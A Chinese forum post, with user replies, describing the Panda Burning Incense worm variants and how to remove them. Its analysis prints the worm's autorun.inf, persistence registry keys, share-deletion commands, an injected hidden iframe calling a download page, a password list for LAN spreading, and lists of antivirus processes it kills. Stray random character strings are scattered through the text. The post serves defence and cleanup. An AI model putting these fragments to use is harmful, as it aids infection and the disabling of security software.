熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
% A( e$ F& M7 H  z- M; b2 o! }不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。

2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
3 g$ N0 |5 q/ }5 ~  m( m+ m. B0 c　　"svcshare"="%System%\drivers\spoclsv.exe"

/ Z& J7 s2 l: u  Q% i3.在各分区根目录生成病毒副本：　　X:\setup.exe
　　X:\autorun.inf
3 q) o- d* t* f( x0 B+ T( Bautorun.inf内容：
[AutoRun]
　　OPEN=setup.exe
　　shellexecute=setup.exe
+ i# w! n: l/ n0 V　　shell\Auto\command=setup.exe

4.使用net share命令关闭管理共享：
- R5 S1 V! y% G" e3 s  zcmd.exe /c net share X$ /del /y
　　cmd.exe /c net share admin$ /del /y

! o1 r9 ]* c2 k$ }  ^# H5.修改“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
( [' X' L- T, [9 k　　"CheckedValue"=dword:00000000

9 b+ o+ }5 E8 J# n8 r0 w) D6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
防火墙进程
VirusScan
NOD32
网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
+ i: U, X3 }8 k2 O* {QQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
Symantec AntiVirus
0 m& R4 s4 q( L! q% a6 e7 ^- ?# GDuba
* o+ l( `/ o# E. U% @! {Windows 任务管理器
esteem procs
绿鹰PC
密码防盗噬菌体木马辅助查找器
& H: u  S: k/ w5 L9 }% KSystem Safety Monitor
Wrapped gift Killer
Winsock Expert
6 J! o$ H9 N" o' e# Z游戏木马检测大师超级巡警
: e& o) y6 Z: T" ^msctls_statusbar32
$ g- s% h; ^$ A1 e, i& }5 l+ \pjf(ustc)
IceSword

- D" E- l2 C2 h4 \$ ~% J7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
' _+ u2 {6 \) {0 K2 o: Q* b　　VsTskMgr.exe
9 E' _( _' @1 N8 I/ n  V7 n+ r　　naPrdMgr.exe
3 E5 d& }& e  c$ v9 m2 x- b　　UpdaterUI.exe
　　TBMon.exe
　　scan32.exe
+ b  m: M( v* o　　Ravmond.exe
# w# k* f  p( ^) c* d　　CCenter.exe
1 X- w$ k* i; V' l　　RavTask.exe
# R4 V# e9 K: S) K# K8 d5 O  d　　Rav.exe
5 E) i5 o: |3 p  z0 }2 |　　Ravmon.exe
　　RavmonD.exe
　　RavStub.exe
　　KVXP.kxp
　　KvMonXP.kxp
　　KVCenter.kxp
' o: m! r! d- k% @( q　　KVSrvXP.exe
　　KRegEx.exe
# K! n; B% N7 l: u+ ~% c　　UIHost.exe
* I" w" I, j! T4 l# V3 a3 g6 Z　　TrojDie.kxp
　　FrogAgent.exe
　　Logo1_.exe
9 q9 V1 D* @; c2 L7 S6 d4 I+ X3 `　　Logo_1.exe
　　Rundl132.exe
6 l4 z1 V- Z9 T4 Z
8.禁用安全软件相关服务：
Schedule
　　sharedaccess
　　RsCCenter
　　RsRavMon
2 B/ Z: D3 d) Q　　KVWSC
# Y: ^: Z% e* j  W! N( J　　KVSrvXP
( G, t% `! A8 T　　kavsvc
　　AVP
　　McAfeeFramework
　　McShield
- Q$ ]6 c- u1 n% H7 q　　McTaskManager
. _0 J3 k0 B0 F, w　　navapsvc
* o, q7 _$ y3 S　　wscsvc
7 q4 z, A9 X# I4 T8 U+ B7 M- u" W　　KPfwSvc
　　SNDSrvc
+ I* d- k8 V& q& t! X  M! |" M7 H　　ccProxy
' ?8 k, t0 }# L' v  o% h　　ccEvtMgr
$ A( E- f$ y5 ~7 [5 v9 ?, F# `　　ccSetMgr
　　SPBBCSvc
　　Symantec Core LC
5 T! L/ o7 g$ h　　NPFMntor
　　MskService
7 k8 J8 q7 }% j5 b; Y: c　　FireSvc

9.删除安全软件相关启动项：
6 D$ D5 t( F( f  USOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
2 b* g: E( K4 R) [, V　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
$ {6 f7 R1 P, z0 ~) H2 N　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
( N7 u! _3 d0 B! j; V$ F  A　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
  [( H7 I# h3 L8 ?　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
Reporting Service
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
6 n  O5 O1 T& }+ T% s10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
C:\WINDOWS
( U1 w( Z" b- q  J9 y　　C:\WINNT
; s  {& m3 N$ N& c, ?) a/ b　　C:\system32
　　C:\Documents and Settings
8 a, x! g6 ]+ Y# E) v8 j　　C:\System Volume Information
& A) D  L7 U7 b　　C:\Recycled
　　Program Files\Windows NT
3 T5 P4 v4 w8 ]& ~* u9 ^$ F9 ~/ W　　Program Files\WindowsUpdate
　　Program Files\Windows Media Player
/ t7 i! B- ]9 e2 k* M# E　　Program Files\Outlook Express
　　Program Files\Internet Explorer
　　Program Files\NetMeeting
1 J+ _2 a; x+ R& U9 m- K& t- \　　Program Files\Common Files
　　Program Files\ComPlus Applications
* x; o9 d, v% C　　Program Files\Messenger
　　Program Files\InstallShield Installation Information
　　Program Files\MSN
& i5 |$ [/ ^$ Q0 W　　Program Files\Microsoft Frontpage
; H! Y3 d$ h2 J& t7 C& m　　Program Files\Movie Maker
  l$ C2 F, E7 d) r　　Program Files\MSN Gamin Zone
3 X/ S8 P  ^7 l1 a4 b9 M" }11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
12.此外，病毒还会尝试删除GHO文件。
5 {1 _8 A5 C" Q: o' h病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
　　harley
2 t  {2 Q8 f( E5 A/ E9 ?4 u　　golf
( a. |! x, }2 ^+ j. V7 _5 P　　pussy
　　mustang
2 s% I  I3 H. y# W　　shadow
2 ^1 h6 `4 e3 @  q' `  y　　fish
  V" A0 c7 s, \) l) }　　qwerty
% w  W0 K5 d. k4 `& t3 H9 C　　baseball
- O: g) Y. c9 T3 w, j) G8 R1 I　　letmein
　　ccc
　　admin
2 e4 O* k' Z" M9 {: P" h　　abc
　　pass
　　passwd
　　database
7 Z3 i0 H. w5 z1 O　　abcd
　　abc123
　　sybase
　　123qwe
; ~% N3 Z9 T3 R, u- r( T　　server
　　computer
- y- F- d9 C' }0 l4 j　　super
! q7 o4 J9 s* ]6 T3 N& d　　123asd
　　ihavenopass
9 B6 O: V& W# w$ c' P　　godblessyou
$ G# R5 W+ T+ e1 A9 K" D/ K- r　　enable
　　alpha
　　1234qwer
8 v7 K4 O# s! g# O( \　　123abc
, M- `5 R, V7 u: [  e( Y　　aaa
　　patrick
　　pat
　　administrator
　　root
　　sex
7 q; C" L3 O6 M9 f0 y. Q　　god
　　fuckyou
& b/ k) e! ~- t3 s2 y0 {" S0 X& R) m　　fuck
* J/ ~* y4 x6 g( E! h( ]　　test
　　test123
　　temp
3 i3 q+ b# S9 j0 f' \' V5 c　　temp123
　　win
　　asdf
- I2 @! T* l6 i6 ]% V0 e　　pwd
  h) c4 \% j' o$ g2 w# o4 |) p! A　　qwer
& ~+ R6 @( j1 u% g, C5 X　　yxcv
$ c% Y0 g, }6 x/ P0 [3 p: e( q1 g　　zxcv
　　home
1 S9 B4 T" Q9 J$ f: z4 \　　xxx
" `1 ~6 `' b) S% d　　owner
　　login
　　Login
　　love
0 B, A+ G; l: y4 z9 B3 {3 o, ~　　mypc
" ]" |: g6 r# s9 t+ ~+ x; j　　mypc123
　　admin123
　　mypass
　　mypass123
5 P; h3 h4 L" I$ b" B　　Administrator
2 ^' b) Y! R" O" P% v　　Guest
6 C% z$ e- n3 ~  R5 `　　admin
　　Root

$ J% l2 D% c% f$ D# F. ~病毒文件内含有这些信息：

whboy
　　***武*汉*男*生*感*染*下*载*者***
8 o  n# G( _( c- k. l' }( C& ^解决方案：

2 ?! N( v' {8 J9 n6 [1. 结束病毒进程：
1 F$ P  W# H! F%System%\drivers\spoclsv.exe
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。

# Y4 D/ r# U# o: y2. 删除病毒文件：
3 T  }( j# S  v7 ^" n%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。
" r1 Z# P! F8 ]) W; @! Q
. E6 A( y$ m7 |- \4 R/ x! a3. 删除病毒启动项：
7 p  z% Y- J" w5 c[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
8 v; }- Y- {: G1 {7 \& H　　"svcshare"="%System%\drivers\spoclsv.exe"

4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
X:\setup.exe
  H; |+ b; A/ k& A5 U* D　　X:\autorun.inf

$ B* l5 B+ L( U5 ]& S1 {5. 恢复被修改的“显示所有文件和文件夹”设置：
! r0 v- ]# T. W( c+ S[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
8 i, _2 ]3 ^" g5 t% E　　"CheckedValue"=dword:00000001
) S$ B$ P) X& H
2 m& ~! C3 u( W& @; N6. 修复或重新安装被破坏的安全软件。
: t; M, q( ?, h! r" M* s
7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
金山熊猫烧香病毒专杀工具
. t2 Z5 t1 ?5 `- ?http://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
安天熊猫烧香病毒专杀工具
http://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
9 p7 ~3 i& D0 C2 P- O8 Whttp://ec.jiangmin.com/test/PandaKiller.rar
瑞星熊猫烧香病毒专杀工具
http://download.rising.com.cn/zsgj/NimayaKiller.scr
. B5 r+ p( ?" g: J9 h。也可用手动方法（见本文末）。

! V) o3 M8 n; m+ j) A$ q" ~8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”

. b2 P! I  g7 H" P! L2 f" M' V4 V以下是数据安全实验室提供的信息与方法。
( e8 E4 `" n0 S. I! G病毒描述：
! l" j( }4 q+ Z含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。

$ U" Y; y- n% Z- i病毒基本情况：

1 Q  M9 H. N' W9 v6 k[文件信息]
2 w  o. D7 j6 X, N3 `( o. m; ~2 V
病毒名: Virus.Win32.EvilPanda.a.ex$
　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
3 g0 _  N0 f/ R1 g　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
( P% ]7 Q4 X# v5 N　　壳信息: 未知　　危害级别：高
" B+ T) t, ~: Q& c% w) a
9 y( W3 L* ?  ?: ^7 t5 o' f, M病毒名: Flooder.Win32.FloodBots.a.ex$
　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
8 z' n# I( V/ F! M# G2 e7 v　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
/ q9 {' j! U# c9 H) M　　危害级别：高

' x4 D" Y5 ~0 {1 M, `+ L病毒行为：

Virus.Win32.EvilPanda.a.ex$ ：

1、病毒体执行后，将自身拷贝到系统目录：
9 p9 V6 ]7 w$ ?%SystemRoot%\system32\FuckJacks.exe

+ L4 ~0 Q1 F( b
: G) j) {6 u8 D# v  e, s　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/ _0 W. w# c0 }　　键名：FuckJacks
　　键值："C:WINDOWS\system32\FuckJacks.exe"

键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
! l6 c9 v/ }- _) K& V　　键名：svohost
' h" u  x6 T5 \" R5 t- S$ d　　键值："C:WINDOWS\system32\FuckJacks.exe"

3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
C:autorun.inf    1KB    RHS
　　C:setup.exe    230KB    RHS

4、关闭众多杀毒软件和安全工具。
' ?! b2 U+ [7 L$ l4 x$ k0 I  X
5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。
% F) G( J' _$ A+ k0 l& e$ G
6、刷新bbs.qq.com，某QQ秀链接。
- w! w+ X; u$ G9 v
: y& r  \. @- u+ J: Z6 S- o( P$ o! \7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。

Flooder.Win32.FloodBots.a.ex$ ：

/ ]# P+ Z8 Y1 `( V- Q0 N: f1、病毒体执行后，将自身拷贝到系统目录：
# i$ s% v' O/ R2 T+ I: Z" f%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）

2 k7 [% Q3 g* Z5 M9 y0 {2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
- V9 s9 J& y4 Z. ^+ m! j2 k2 ]; K键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：Userinit
　　键值："C:WINDOWS\system32\SVCH0ST.exe"

3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
7 u9 B6 K/ A$ |- g+ \" L配置文件如下：
www。victim.net:3389
　　www。victim.net:80
. S6 {: u1 y6 Z. |8 ]. |& D5 _: |　　www。victim.com:80
　　www。victim.net:80
* D) e# y+ O7 U　　1
　　1
　　120
　　50000

解决方案：

1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe
( t* x) }( \+ z1 i8 E' e
. O! [5 C: a# ^& V2 ^2 K7 ~  y; I3. 删除病毒文件：%System%\FuckJacks.exe

4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
　　X:\setup.exe
* P5 w" R0 \; y+ B& L3 W  A
& @2 c  Z. b4 q% w) K& F4 t5. 删除病毒创建的启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
) L& D, W: S6 J　　"FuckJacks"="%System%\FuckJacks.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
+ V* a: B6 N* E2 a　　"svohost"="%System%\FuckJacks.exe"

- H: _. T" V1 R" o3 Y6. 修复或重新安装反病毒软件

0 z: T! j% b8 ]7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。
9 o  S/ F/ i! m) t4 ^
# K1 k: B  u" f( Z) m( l% z; U手动恢复中毒文件（在虚拟机上通过测试，供参考）

1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。
# \7 [$ }1 s4 J. ~* [$ R8 q
: m4 @' J% a. _+ M4 P  a3 ~2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口

3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。

0 I8 z- S9 |6 I* n4 R4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。

5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

3 D# G! G! ^8 c% V8 E! ]就是将那个GHOST备份文件不要设置为后缀GHO
; J. h$ X  i. |. X) w" y' r
* I1 C0 `9 S) n/ W! ^2 T- F你换一个后缀不就没事了吗？
' b2 J, Q0 e! L恢复时后缀只是起显示作用
$ f; G" z. n- \: g只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
存的片子和游戏全没了！！气死我了！！！
2 t0 N% _! j4 K9 |这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！
; S) d4 T+ ]; @5 V/ D& [8 w

kk11qq

谢谢楼主的分享！！